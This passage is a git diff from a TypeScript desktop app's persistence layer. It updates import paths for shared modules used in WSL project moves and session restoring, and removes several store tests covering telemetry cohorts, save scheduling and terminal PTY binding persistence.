b/src/main/persistence/moving-wsl-projects/cutover-recovery/wsl-move-retained-marks.ts index 3cf6244aed2..cd56aadfae8 100644 --- a/src/main/persistence/moving-wsl-projects/cutover-recovery/wsl-move-retained-marks.ts +++ b/src/main/persistence/moving-wsl-projects/cutover-recovery/wsl-move-retained-marks.ts @@ -7,7 +7,7 @@ import { sameOrcadRetainedMarker, type OrcadRetainedMarker } from '../../../../shared/remote-runtime/orcad-lifecycle/orcad-retained-marker' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { Repo } from '../../../../shared/repository/repo-types' import { isLocalWslMoveRow } from '../quiescence/wsl-move-scope-guard' diff --git a/src/main/persistence/moving-wsl-projects/desktop-state/wsl-move-desktop-rewrite.ts b/src/main/persistence/moving-wsl-projects/desktop-state/wsl-move-desktop-rewrite.ts index 39ef224649c..a1b7caac2ff 100644 --- a/src/main/persistence/moving-wsl-projects/desktop-state/wsl-move-desktop-rewrite.ts +++ b/src/main/persistence/moving-wsl-projects/desktop-state/wsl-move-desktop-rewrite.ts @@ -1,5 +1,5 @@ // Persist each store before its ledger entry; restart retries only unrecorded rewrites. -import { toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../shared/execution-host/execution-host' import { WSL_MOVE_CUTOVER_PHASES, type WslMoveCutover diff --git a/src/main/persistence/moving-wsl-projects/desktop-state/wsl-move-main-rewrite-stores.ts b/src/main/persistence/moving-wsl-projects/desktop-state/wsl-move-main-rewrite-stores.ts index 7f20cd19f24..2e7f639e53b 100644 --- a/src/main/persistence/moving-wsl-projects/desktop-state/wsl-move-main-rewrite-stores.ts +++ b/src/main/persistence/moving-wsl-projects/desktop-state/wsl-move-main-rewrite-stores.ts @@ -3,7 +3,7 @@ * routing, the local session's focus, then the host partition's seed. Each re-reads the profile, * so a run after a crash before its ledger entry finds its own earlier write and changes nothing. */ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import type { WslMoveCutover } from '../../../../shared/wsl-move/wsl-move-cutover' import type { WorkspaceSessionPatch, diff --git a/src/main/persistence/moving-wsl-projects/desktop-state/wsl-move-ui-routing-rewrite.ts b/src/main/persistence/moving-wsl-projects/desktop-state/wsl-move-ui-routing-rewrite.ts index 687450f3d0a..c4b7d8d2924 100644 --- a/src/main/persistence/moving-wsl-projects/desktop-state/wsl-move-ui-routing-rewrite.ts +++ b/src/main/persistence/moving-wsl-projects/desktop-state/wsl-move-ui-routing-rewrite.ts @@ -5,14 +5,14 @@ * stay for a lossless downgrade; only the last-active worktree, a single value, moves. A second * run finds every copy present and changes nothing. */ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' import { getRepoHostIdentityForParts } from '../../../../shared/repository/repo-host-identity' import type { ManualRepoOrderEntry, VisibleWorkspaceHostIds, WorkspaceHostOrder -} from '../../../../shared/ui-chrome-types' +} from '../../../../shared/ui-chrome/ui-chrome-types' import type { WorkspaceCleanupDismissal } from '../../../../shared/workspace-cleanup/workspace-cleanup' import { getWorkspaceCleanupHostIdentity } from '../../../../shared/workspace-cleanup/workspace-cleanup-host-identity' import { resolveVisibleWorkspaceHostIds } from '../../../../shared/workspace-view/workspace-host-visibility' diff --git a/src/main/persistence/moving-wsl-projects/manifest-scope/wsl-move-manifest-export.ts b/src/main/persistence/moving-wsl-projects/manifest-scope/wsl-move-manifest-export.ts index c6ab04d97de..39a61e8ada1 100644 --- a/src/main/persistence/moving-wsl-projects/manifest-scope/wsl-move-manifest-export.ts +++ b/src/main/persistence/moving-wsl-projects/manifest-scope/wsl-move-manifest-export.ts @@ -6,7 +6,10 @@ * refuses instead of dropping a row. Deterministic for one store state and request, so the driver can * re-export under the fence and compare digests. */ -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import { resolveFolderWorkspaceHost } from '../../../../shared/folder-workspaces/folder-workspace-execution-host' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' import type { diff --git a/src/main/persistence/moving-wsl-projects/manifest-scope/wsl-move-scope.ts b/src/main/persistence/moving-wsl-projects/manifest-scope/wsl-move-scope.ts index bba8d200641..e69fe6028f3 100644 --- a/src/main/persistence/moving-wsl-projects/manifest-scope/wsl-move-scope.ts +++ b/src/main/persistence/moving-wsl-projects/manifest-scope/wsl-move-scope.ts @@ -1,6 +1,6 @@ // Move local repos/folders only when every path stays in one distro outside Windows drive mounts. import { posix } from 'node:path' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { resolveFolderWorkspaceHost } from '../../../../shared/folder-workspaces/folder-workspace-execution-host' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' diff --git a/src/main/persistence/moving-wsl-projects/manifest-scope/wsl-move-state-projection.ts b/src/main/persistence/moving-wsl-projects/manifest-scope/wsl-move-state-projection.ts index 49b5c539168..ff4c153714d 100644 --- a/src/main/persistence/moving-wsl-projects/manifest-scope/wsl-move-state-projection.ts +++ b/src/main/persistence/moving-wsl-projects/manifest-scope/wsl-move-state-projection.ts @@ -1,8 +1,11 @@ // Compare stores independently of mover export so omitted rows remain visible after host/path normalization. import { getAutomationRunRepoId } from '../../../../shared/automations/history/automation-run-identity' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' -import type { PersistedState } from '../../../../shared/persisted-state-types' -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { normalizeWorkspaceSessionKeyToWorkspaceId, diff --git a/src/main/persistence/moving-wsl-projects/orchestration/wsl-move-background-backoff.ts b/src/main/persistence/moving-wsl-projects/orchestration/wsl-move-background-backoff.ts index fb3609a1763..f85cbf51eaa 100644 --- a/src/main/persistence/moving-wsl-projects/orchestration/wsl-move-background-backoff.ts +++ b/src/main/persistence/moving-wsl-projects/orchestration/wsl-move-background-backoff.ts @@ -1,5 +1,5 @@ // Background writers retry naturally; quietly defer moving/moved local rows using host and path evidence. -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { splitWorktreeIdForFilesystem } from '../../../../shared/worktree/id' import { isLocalWslMoveRow, diff --git a/src/main/persistence/moving-wsl-projects/quiescence/wsl-move-scope-guard.ts b/src/main/persistence/moving-wsl-projects/quiescence/wsl-move-scope-guard.ts index fa7588dd0d5..c37f10fe271 100644 --- a/src/main/persistence/moving-wsl-projects/quiescence/wsl-move-scope-guard.ts +++ b/src/main/persistence/moving-wsl-projects/quiescence/wsl-move-scope-guard.ts @@ -3,7 +3,10 @@ import { resolve } from 'node:path' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' import { parseWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import { isWslUncPath } from '../../../../shared/file-access/wsl-paths' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import { onWslMoveJournalChange } from '../cutover-recovery/wsl-move-cutover-journal' import { onWslDriveUncConversionJournalChange } from '../../../wsl/filesystem/wsl-drive-unc-conversion-journal' import { resolveWslMoveFence, type WslMoveFenceState } from './wsl-move-fence' diff --git a/src/main/persistence/moving-wsl-projects/terminal-state/wsl-move-session-projection.ts b/src/main/persistence/moving-wsl-projects/terminal-state/wsl-move-session-projection.ts index 28bb1bee209..d9111365576 100644 --- a/src/main/persistence/moving-wsl-projects/terminal-state/wsl-move-session-projection.ts +++ b/src/main/persistence/moving-wsl-projects/terminal-state/wsl-move-session-projection.ts @@ -1,4 +1,4 @@ -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' import { WORKSPACE_SESSION_FIELD_OWNERSHIP } from '../../../../shared/workspace-session/workspace-session-host-field-ownership' import { buildWorktreeIdByFileId, diff --git a/src/main/persistence/moving-wsl-projects/terminal-state/wsl-move-session-rewrite.ts b/src/main/persistence/moving-wsl-projects/terminal-state/wsl-move-session-rewrite.ts index e803c8ad79f..fde84374f03 100644 --- a/src/main/persistence/moving-wsl-projects/terminal-state/wsl-move-session-rewrite.ts +++ b/src/main/persistence/moving-wsl-projects/terminal-state/wsl-move-session-rewrite.ts @@ -4,7 +4,7 @@ * shows the moved tabs before the host publishes. Native chats stay on this computer (owner * decision, option C), and terminals restart on the host, so neither is seeded. */ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import type { Tab } from '../../../../shared/workspace-layout/tab-groups/tab-types' import { filterWorkspaceSessionTabs } from '../../../../shared/workspace-session/workspace-session-tab-filter' import { WORKSPACE_SESSION_FIELD_OWNERSHIP } from '../../../../shared/workspace-session/workspace-session-host-field-ownership' diff --git a/src/main/persistence/persistence-cohort-and-identity-migration.test.ts b/src/main/persistence/persistence-cohort-and-identity-migration.test.ts index a3387bba9e4..de2e6f348fd 100644 --- a/src/main/persistence/persistence-cohort-and-identity-migration.test.ts +++ b/src/main/persistence/persistence-cohort-and-identity-migration.test.ts @@ -1,17 +1,10 @@ -import { - closeTestStores, - testState, - createStore, - dataFile, - writeDataFile, - makeRepo -} from './persistence-test-harness' +import { closeTestStores, testState, createStore, makeRepo } from './persistence-test-harness' import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' -import { writeFileSync, rmSync, mkdtempSync, readFileSync } from 'node:fs' +import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import { getDefaultWorkspaceSession } from '../../shared/constants' -import { createProfileStateStore } from './profile-state/startup/profile-state-store-factory' +import { getDefaultWorkspaceSession } from '../../shared/orca-profiles/constants' +import './profile-state/startup/profile-state-store-factory' import { hostWorktreeTarget } from '../../shared/worktree/host-qualified-identity' const { loadUserSshConfigMock, sshConfigHostsToTargetsMock } = vi.hoisted(() => ({ @@ -53,87 +46,6 @@ vi.mock('../telemetry/cohort-classifier', () => ({ getCohortAtEmit: getCohortAtEmitMock })) -describe('Store', () => { - beforeEach(() => { - testState.dir = mkdtempSync(join(tmpdir(), 'orca-test-')) - trackMock.mockReset() - getCohortAtEmitMock.mockReset() - getCohortAtEmitMock.mockReturnValue({ nth_repo_added: 2 }) - }) - - afterEach(async () => { - await closeTestStores() - rmSync(testState.dir, { recursive: true, force: true }) - }) - // Cohort on file existence so pre-telemetry profiles cannot default to opted in. - - it('retains the existing-user cohort when a corrupt legacy primary recovers from backup', async () => { - await withRecoveredLegacyProfile((store) => { - const telemetry = store.getSettings().telemetry - expect(telemetry?.existedBeforeTelemetryRelease).toBe(true) - expect(telemetry?.optedIn).toBeNull() - expect(telemetry?.installId).toMatch( - /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/ - ) - expect(store.getSettings().experimentalNewWorktreeCardStyle).toBe(false) - }) - }) - - it('retains inherited shortcut defaults across profile saves and pending cohort upgrades', async () => { - writeDataFile({ - schemaVersion: 1, - repos: [], - worktreeMeta: {}, - ui: {}, - settings: { searchKeybindingSeed: 'pending' } - }) - const store = await createStore() - expect(store.getSettings().searchKeybindingSeed).toBe('legacy') - expect(store.getSettings().tabSwitchKeybindingSeed).toBe('legacy') - store.flush() - await closeTestStores() - const reopened = await createStore() - expect(reopened.getSettings().searchKeybindingSeed).toBe('legacy') - }) - - it('excludes an unopened secondary profile with inherited telemetry from legacy shortcut rollouts', async () => { - writeDataFile({ - settings: { - telemetry: { - optedIn: false, - installId: 'shared-install', - existedBeforeTelemetryRelease: true - } - } - }) - const store = await createStore() - expect(store.getSettings().tabSwitchKeybindingSeed).toBe('done') - expect(store.getSettings().searchKeybindingSeed).toBe('done') - expect(store.getSettings().nonMacSearchKeybindingSeed).toBe('done') - await closeTestStores() - const reopened = await createStore() - expect(reopened.getSettings().searchKeybindingSeed).toBe('done') - expect(reopened.getSettings().nonMacSearchKeybindingSeed).toBe('done') - }) - - it('keeps profiles created after the Mac rollout in the legacy non-Mac search cohort', async () => { - writeDataFile({ - schemaVersion: 1, - repos: [], - worktreeMeta: {}, - ui: {}, - settings: { searchKeybindingSeed: 'done' } - }) - const store = await createStore() - expect(store.getSettings().nonMacSearchKeybindingSeed).toBe('legacy') - store.flush() - await closeTestStores() - const reopened = await createStore() - expect(reopened.getSettings().searchKeybindingSeed).toBe('done') - expect(reopened.getSettings().nonMacSearchKeybindingSeed).toBe('legacy') - }) -}) - describe('Store.migrateWorktreeIdentity', () => { const OLD = 'repo1::/ws/cunner' const NEW = 'repo1::/ws/worktree-creation-spinner' @@ -178,21 +90,3 @@ describe('Store.migrateWorktreeIdentity', () => { expect(store.getWorkspaceSession().lastVisitedAtByWorktreeId?.[NEW]).toBe(900) }) }) - -async function withRecoveredLegacyProfile( - verify: (store: ReturnType['store']) => void -): Promise { - writeDataFile({ schemaVersion: 1, repos: [], worktreeMeta: {}, settings: {}, ui: {} }) - writeFileSync(`${dataFile()}.bak.0`, readFileSync(dataFile())) - writeFileSync(dataFile(), '{{{corrupt json') - const { store } = createProfileStateStore({ - dataFile: dataFile(), - databaseFile: join(testState.dir, 'profile-state.db'), - profileId: 'cohort-recovery' - }) - try { - verify(store) - } finally { - await store.freezeWritesAsync() - } -} diff --git a/src/main/persistence/persistence-flush-and-save-scheduling.test.ts b/src/main/persistence/persistence-flush-and-save-scheduling.test.ts index 979c63b23c7..e201a1121a7 100644 --- a/src/main/persistence/persistence-flush-and-save-scheduling.test.ts +++ b/src/main/persistence/persistence-flush-and-save-scheduling.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' -import { rmSync, mkdtempSync, mkdirSync, existsSync } from 'node:fs' +import { rmSync, mkdtempSync, mkdirSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' import { @@ -9,13 +9,12 @@ import { createStore, withPlatform, writeDataFile, - readDataFile, makeRepo } from './persistence-test-harness' -import { makeTerminalTab, TEST_LEAF_1 } from './persistence-session-fixtures' -import { getDefaultWorkspaceSession } from '../../shared/constants' -import type { WorkspaceSessionState } from '../../shared/workspace-session/workspace-session-state-types' -import { _resetTracerForTests } from '../observability/tracer' +import './persistence-session-fixtures' +import '../../shared/orca-profiles/constants' + +import '../observability/tracer' import { _resetPtyBindingSpanSamplingForTests } from './loading-store/terminal-bindings/pty-binding-span' const { loadUserSshConfigMock, sshConfigHostsToTargetsMock } = vi.hoisted(() => ({ @@ -72,46 +71,6 @@ describe('Store', () => { rmSync(testState.dir, { recursive: true, force: true }) }) - it('durably commits an exact JSON operation before a following microtask changes generation', async () => { - const store = await createStore() - const originalTabId = store.getWorkspaceSession().activeTabId - await store.runDurableMutation(() => { - store.updateSettings({ theme: 'dark' }) - queueMicrotask(() => { - store.setWorkspaceSession({ ...store.getWorkspaceSession(), activeTabId: 'newer-tab' }) - }) - return { value: undefined } - }) - expect(readDataFile()).toMatchObject({ - settings: { theme: 'dark' }, - workspaceSession: { activeTabId: originalTabId } - }) - expect(store.getWorkspaceSession().activeTabId).toBe('newer-tab') - await store.flushPendingOrThrowAsync() - expect(readDataFile()).toHaveProperty(['workspaceSession', 'activeTabId'], 'newer-tab') - store.freezeWrites() - }) - - it('bounds save postponement under sustained mutation bursts (max-wait)', async () => { - vi.useFakeTimers() - try { - const store = await createStore() - // Keep resetting debounce past max-wait to verify sustained mutations still reach disk. - let width = 400 - for (let i = 0; i < 11; i++) { - store.updateUI({ sidebarWidth: width++ }) - vi.advanceTimersByTime(500) - } - await store.waitForPendingWrite() - - expect(existsSync(join(testState.dir, 'profile-state.db'))).toBe(true) - const persisted = readDataFile() as { ui: { sidebarWidth: number } } - expect(persisted.ui.sidebarWidth).toBeGreaterThanOrEqual(400) - } finally { - vi.useRealTimers() - } - }) - it('garbage-collects stale local worktreeMeta at load with a 30-day grace', async () => { const OLD = Date.now() - 40 * 24 * 60 * 60 * 1000 const RECENT = Date.now() - 1 * 24 * 60 * 60 * 1000 @@ -217,121 +176,4 @@ describe('Store', () => { expect(restartedProfileA.getGitHubCache().pr['o/r#b']).toBeUndefined() expect(restartedProfileB.getGitHubCache().pr['o/r#b']).toEqual({ fetchedAt: 20 }) }) - - describe('persistPtyBinding fast lane', () => { - const WORKTREE = 'repo1::/worktree' - const binding = { worktreeId: WORKTREE, tabId: 'tab1', leafId: TEST_LEAF_1, ptyId: 'pty-1' } - const paneKey = `tab1:${TEST_LEAF_1}` - - const boundSession = ( - overrides: Partial = {} - ): WorkspaceSessionState => ({ - ...getDefaultWorkspaceSession(), - activeRepoId: 'repo1', - activeWorktreeId: WORKTREE, - activeTabId: 'tab1', - tabsByWorktree: { - [WORKTREE]: [makeTerminalTab({ id: 'tab1', worktreeId: WORKTREE, ptyId: 'pty-1' })] - }, - terminalLayoutsByTabId: { - tab1: { - root: { type: 'leaf', leafId: TEST_LEAF_1 }, - activeLeafId: TEST_LEAF_1, - expandedLeafId: null, - ptyIdsByLeafId: { [TEST_LEAF_1]: 'pty-1' } - } - }, - ...overrides - }) - - const runtimeCounters = (store: ReturnType) => { - const runtime = store['runtime'] - return { - writeGeneration: runtime.writeGeneration, - lastDurableWriteGeneration: runtime.lastDurableWriteGeneration - } - } - - afterEach(async () => { - _resetTracerForTests() - }) - - it('falls through on an incarnation change and persists the new incarnation', async () => { - const store = await createStore() - store.setWorkspaceSession(boundSession()) - await store.persistPtyBinding({ ...binding, incarnationId: 'a' }) - const durableGenerationBefore = runtimeCounters(store).lastDurableWriteGeneration - - expect(await store.persistPtyBinding({ ...binding, incarnationId: 'b' })).toBe(true) - - expect(runtimeCounters(store).lastDurableWriteGeneration).toBeGreaterThan( - durableGenerationBefore - ) - expect(readDataFile()).toHaveProperty( - ['workspaceSession', 'terminalPtyIncarnationsByPaneKey', paneKey], - 'b' - ) - }) - - it('does not acknowledge an unpersisted binding published after the final flush', async () => { - const store = await createStore() - store.setWorkspaceSession(boundSession()) - await store.persistPtyBinding(binding) - await store.flushAsync() - - const next = boundSession() - next.tabsByWorktree[WORKTREE][0].ptyId = 'pty-after-quit' - next.terminalLayoutsByTabId.tab1.ptyIdsByLeafId = { [TEST_LEAF_1]: 'pty-after-quit' } - expect(() => store.setWorkspaceSession(next)).toThrow('finalization') - Object.assign(store.getWorkspaceSession(), next) - expect(store.getWorkspaceSession().tabsByWorktree[WORKTREE][0].ptyId).toBe('pty-after-quit') - - await expect( - store.persistPtyBinding({ ...binding, ptyId: 'pty-after-quit' }) - ).rejects.toThrow('Cannot mutate finalized profile persistence') - expect(readDataFile()).toHaveProperty( - ['workspaceSession', 'tabsByWorktree', WORKTREE, '0', 'ptyId'], - 'pty-1' - ) - }) - - it.each([undefined, 'ssh:ssh-1', 'runtime:runtime-1'])( - 'flushes unrelated dirty state once, then skips unchanged reattachments on %s', - async (hostId) => { - const store = await createStore() - store.setWorkspaceSession(boundSession(), hostId) - expect(await store.persistPtyBinding(binding, hostId)).toBe(true) - store.addRepo(makeRepo({ id: 'r-dirty', path: '/dirty' })) - const durableGenerationBefore = runtimeCounters(store).lastDurableWriteGeneration - - expect(await store.persistPtyBinding(binding, hostId)).toBe(true) - expect(await store.persistPtyBinding(binding, hostId)).toBe(true) - - expect(runtimeCounters(store).lastDurableWriteGeneration).toBeGreaterThan( - durableGenerationBefore - ) - expect(readDataFile()).toMatchObject({ - repos: expect.arrayContaining([expect.objectContaining({ id: 'r-dirty' })]) - }) - } - ) - - it('flushes a changed pty for a pane whose old binding was durable', async () => { - const store = await createStore() - store.setWorkspaceSession(boundSession()) - await store.persistPtyBinding(binding) - store.addRepo(makeRepo({ id: 'r-dirty', path: '/dirty' })) - const durableGenerationBefore = runtimeCounters(store).lastDurableWriteGeneration - - expect(await store.persistPtyBinding({ ...binding, ptyId: 'pty-next' })).toBe(true) - - expect(runtimeCounters(store).lastDurableWriteGeneration).toBeGreaterThan( - durableGenerationBefore - ) - expect(readDataFile()).toHaveProperty( - ['workspaceSession', 'terminalLayoutsByTabId', 'tab1', 'ptyIdsByLeafId', TEST_LEAF_1], - 'pty-next' - ) - }) - }) }) diff --git a/src/main/persistence/persistence-host-partitioned-sessions.test.ts b/src/main/persistence/persistence-host-partitioned-sessions.test.ts index 97d4cd89db1..6064f5ce86a 100644 --- a/src/main/persistence/persistence-host-partitioned-sessions.test.ts +++ b/src/main/persistence/persistence-host-partitioned-sessions.test.ts @@ -1,4 +1,4 @@ -import { toSshExecutionHostId } from '../../shared/execution-host' +import { toSshExecutionHostId } from '../../shared/execution-host/execution-host' import { hostWorktreeTarget } from '../../shared/worktree/host-qualified-identity' import { closeTestStores, @@ -14,7 +14,7 @@ import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' import type { WorkspaceSessionState } from '../../shared/workspace-session/workspace-session-state-types' -import { getDefaultWorkspaceSession } from '../../shared/constants' +import { getDefaultWorkspaceSession } from '../../shared/orca-profiles/constants' import { worktreeWorkspaceKey } from '../../shared/workspace/identity/workspace-scope' diff --git a/src/main/persistence/persistence-remote-session-startup.test.ts b/src/main/persistence/persistence-remote-session-startup.test.ts index 968b106b7b4..3c6d77d88f5 100644 --- a/src/main/persistence/persistence-remote-session-startup.test.ts +++ b/src/main/persistence/persistence-remote-session-startup.test.ts @@ -3,7 +3,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { mkdtempSync, rmSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import { getDefaultWorkspaceSession } from '../../shared/constants' +import { getDefaultWorkspaceSession } from '../../shared/orca-profiles/constants' import type { BrowserPage, BrowserWorkspace diff --git a/src/main/persistence/persistence-test-harness.ts b/src/main/persistence/persistence-test-harness.ts index 870402dabe9..86c00f6f732 100644 --- a/src/main/persistence/persistence-test-harness.ts +++ b/src/main/persistence/persistence-test-harness.ts @@ -9,8 +9,8 @@ import { worktreeWorkspaceKey } from '../../shared/workspace/identity/workspace-scope' import { getRepoIdFromWorktreeId } from '../../shared/worktree/id' -import type { PersistedState } from '../../shared/persisted-state-types' -import { getDefaultPersistedState } from '../../shared/constants' +import type { PersistedState } from '../../shared/orca-profiles/persisted-state-types' +import { getDefaultPersistedState } from '../../shared/orca-profiles/constants' import type { SshRemotePtyLease } from '../../shared/remote-runtime/ssh/ssh-types' import { hydrateWorktreeMetaAliasProjection } from './loading-store/worktree-metadata/worktree-meta-alias-projection' import { Store } from './loading-store/store' diff --git a/src/main/persistence/preferences/active-view-preference.ts b/src/main/persistence/preferences/active-view-preference.ts index 771ecfa8502..f4402f0568b 100644 --- a/src/main/persistence/preferences/active-view-preference.ts +++ b/src/main/persistence/preferences/active-view-preference.ts @@ -1,8 +1,8 @@ import { mkdirSync, readFileSync, renameSync, unlinkSync, writeFileSync } from 'node:fs' import { mkdir, rename, rm, writeFile } from 'node:fs/promises' import { dirname, join } from 'node:path' -import type { TopLevelView } from '../../../shared/ui-chrome-types' -import { isTopLevelView } from '../../../shared/top-level-view' +import type { TopLevelView } from '../../../shared/ui-chrome/ui-chrome-types' +import { isTopLevelView } from '../../../shared/ui-chrome/top-level-view' const ACTIVE_VIEW_FILE_NAME = 'active-view.json' const SAVE_DEBOUNCE_MS = 100 diff --git a/src/main/persistence/profile-state-cutover-fixture.ts b/src/main/persistence/profile-state-cutover-fixture.ts index 506b56b1e81..ef002a21edb 100644 --- a/src/main/persistence/profile-state-cutover-fixture.ts +++ b/src/main/persistence/profile-state-cutover-fixture.ts @@ -1,7 +1,10 @@ -import { getDefaultPersistedState, getDefaultWorkspaceSession } from '../../shared/constants' +import { + getDefaultPersistedState, + getDefaultWorkspaceSession +} from '../../shared/orca-profiles/constants' import type { Automation } from '../../shared/automations/automation-definition' import type { AutomationRun } from '../../shared/automations/history/automation-run' -import type { PersistedState } from '../../shared/persisted-state-types' +import type { PersistedState } from '../../shared/orca-profiles/persisted-state-types' import type { Project, ProjectHostSetup } from '../../shared/project/project-types' import type { Repo } from '../../shared/repository/repo-types' import type { diff --git a/src/main/persistence/profile-state/offline-access/profile-state-offline-settings.ts b/src/main/persistence/profile-state/offline-access/profile-state-offline-settings.ts index dc0821bd3e4..6156732928e 100644 --- a/src/main/persistence/profile-state/offline-access/profile-state-offline-settings.ts +++ b/src/main/persistence/profile-state/offline-access/profile-state-offline-settings.ts @@ -1,7 +1,7 @@ import { existsSync, readFileSync } from 'node:fs' import { homedir } from 'node:os' -import type { GlobalSettings } from '../../../../shared/global-settings-types' -import { getDefaultPersistedState } from '../../../../shared/constants' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' +import { getDefaultPersistedState } from '../../../../shared/orca-profiles/constants' import { normalizeDisabledTuiAgents } from '../../../../shared/agent-launch/catalog/tui-agent-selection' import { profileStateJsonMatchesAcceptance } from '../documents/profile-state-documents' import { isRecord, parseProfileStateRoot } from '../documents/profile-state-document-validation' diff --git a/src/main/persistence/repo-host-target-matcher.test-fixture.ts b/src/main/persistence/repo-host-target-matcher.test-fixture.ts index 59a59a4f0ae..936fbb4b686 100644 --- a/src/main/persistence/repo-host-target-matcher.test-fixture.ts +++ b/src/main/persistence/repo-host-target-matcher.test-fixture.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, type ExecutionHostId } from '../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../shared/execution-host/execution-host' import type { RepoHostTarget } from '../../shared/repository/repo-host-identity' export function repoTarget(id: string, hostId: ExecutionHostId = 'local') { diff --git a/src/main/persistence/restoring-sessions/cross-host-pane-tab-ids.ts b/src/main/persistence/restoring-sessions/cross-host-pane-tab-ids.ts index d3098be6f3a..72da258cdf0 100644 --- a/src/main/persistence/restoring-sessions/cross-host-pane-tab-ids.ts +++ b/src/main/persistence/restoring-sessions/cross-host-pane-tab-ids.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { buildWorktreeIdByTabId } from '../../../shared/workspace-session/workspace-session-host-records' import { isWslMoveWorkspaceHostOwned } from '../moving-wsl-projects/quiescence/wsl-move-scope-guard' diff --git a/src/main/persistence/restoring-sessions/empty-terminal-layout-root-repair.ts b/src/main/persistence/restoring-sessions/empty-terminal-layout-root-repair.ts index 081ef6165fc..d9175a7f09d 100644 --- a/src/main/persistence/restoring-sessions/empty-terminal-layout-root-repair.ts +++ b/src/main/persistence/restoring-sessions/empty-terminal-layout-root-repair.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { TerminalLayoutSnapshot } from '../../../shared/workspace-layout/terminal-tab-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { resolveRootlessTerminalLayoutLeafId } from '../../../shared/workspace-layout/terminal-topology/terminal-pane-tree' diff --git a/src/main/persistence/restoring-sessions/folder-scope-migration.ts b/src/main/persistence/restoring-sessions/folder-scope-migration.ts index b7eb522b900..2323056e6c0 100644 --- a/src/main/persistence/restoring-sessions/folder-scope-migration.ts +++ b/src/main/persistence/restoring-sessions/folder-scope-migration.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { ProjectGroup } from '../../../shared/project/groups/project-group-types' import type { Repo } from '../../../shared/repository/repo-types' import { isPathInsideOrEqual } from '../../../shared/file-access/cross-platform-path' diff --git a/src/main/persistence/restoring-sessions/folder-workspace-operations.ts b/src/main/persistence/restoring-sessions/folder-workspace-operations.ts index a19f01f3284..ad7476b6d15 100644 --- a/src/main/persistence/restoring-sessions/folder-workspace-operations.ts +++ b/src/main/persistence/restoring-sessions/folder-workspace-operations.ts @@ -1,10 +1,10 @@ import { FOLDER_WORKSPACE_REMOVAL_DOMAINS, type ProfileSaveDomains } from '../profile-save-domains' import { randomUUID } from 'node:crypto' import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { Repo } from '../../../shared/repository/repo-types' import type { RepoHostTarget } from '../../../shared/repository/repo-host-identity' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import { normalizeFolderWorkspaceName } from '../../../shared/folder-workspaces/folder-workspaces' import { getNextProjectGroupOrder } from '../../../shared/project/groups/project-groups' import { normalizeStoredTaskSourceContext } from '../../../shared/work-items/task-source-context' diff --git a/src/main/persistence/restoring-sessions/invalid-workspace-layout-purge.ts 